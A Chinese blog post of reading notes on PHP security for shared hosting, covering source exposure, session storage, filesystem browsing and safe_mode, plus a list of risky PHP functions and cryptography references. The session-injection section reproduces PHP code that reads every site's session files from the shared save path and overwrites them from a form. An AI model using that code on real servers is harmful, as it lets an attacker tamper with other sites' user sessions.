PHP安全基础 - 共享主机[整理]

来源:互联网 发布:淘宝刷客怎么申请退款 编辑:程序博客网 时间:2024/05/16 01:02

导读:共享主机不安全。至少不能达到高级别。

详细:

1 源码暴露

由于WEB服务器必须要能够读取源码并执行,这就一位这任意人所写的代码都可以被服务器运行。

要避免源码泄漏,就需要避免使用用户输入文件并执行。如果一定要,也需要制作白名单。

不在白名单内的输入统统返回错误。

2 会话数据暴露

书中提及的将会话数据保存到数据库中,还不知道业内是如何处理,但个人觉得,这么做,逻辑复杂了。待今后学习。

3 会话注入

文中提到,以下代码方便用户编辑已经存在的会话数据:

<?phpsession_start();?><form action="inject.php" method="POST"><?php$path = ini_get('session.save_path');$handle = dir($path);while ($filename = $handle->read()) {    if (substr($filename, 0, 5) == 'sess_') {        $sess_data = file_get_contents("$path/$filename");        if (!empty($sess_data)) {            session_decode($sess_data);            $sess_data = $_SESSION;            $_SESSION = array();            $sess_name = substr($filename, 5);            $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');            echo "<h1>Session [$sess_name]</h1>";            foreach ($sess_data as $name => $value) {                $name = htmlentities($name, ENT_QUOTES, 'UTF-8');                $value = htmlentities($value, ENT_QUOTES, 'UTF-8');                echo "<p>                $name:                <input type=\"text\"                name=\"{$sess_name}[{$name}]\"                value=\"$value\" />                </p>";            }            echo '<br />';        }    }}$handle->close();?>    <input type="submit" /></form>
使用以下代码便可以进行攻击行为:

<?phpsession_start();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data) {    $_SESSION = $sess_data;    $sess_data = session_encode;    file_put_contents("$path/$sess_name", $sess_data);}$_SESSION = array();?>
十分的不解。

4 文件系统浏览

把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。

5 安全模式

开启PHP的safe_mode。


另外:

1 小心并尽量不使用以下函数:

eval  exec  file  file_get_contents  fopen  include  passthru  phpinfo  popen  preg_replace  proc_open  readfile  require  shell_exec  system

2 加密算法

-对称加密

-非对称加密(公钥)

-Hash函数(信息摘要)

-信息验证

主要关注于使用mcrypt扩展的对称加密算法。你需要参考的资料如下:
实用加密技术(Applied Cryptography), by Bruce Schneier (Wiley)
http://www.schneier.com/blog/
http://wikipedia.org/wiki/Cryptography
http://phpsec.org/articles/2005/password-hashing.html
http://pear.php.net/package/Crypt_HMAC
http://pear.php.net/package/Crypt_RSA


终于看完《PHP安全基础》了,加固了很多开发方面的安全知识。但是,对于书中提到的某些防范措施,对于当今的web应用来说,已经不足够安全了。希望在今后的开发中,学习到更多,补充完善自己的知识。

原创粉丝点击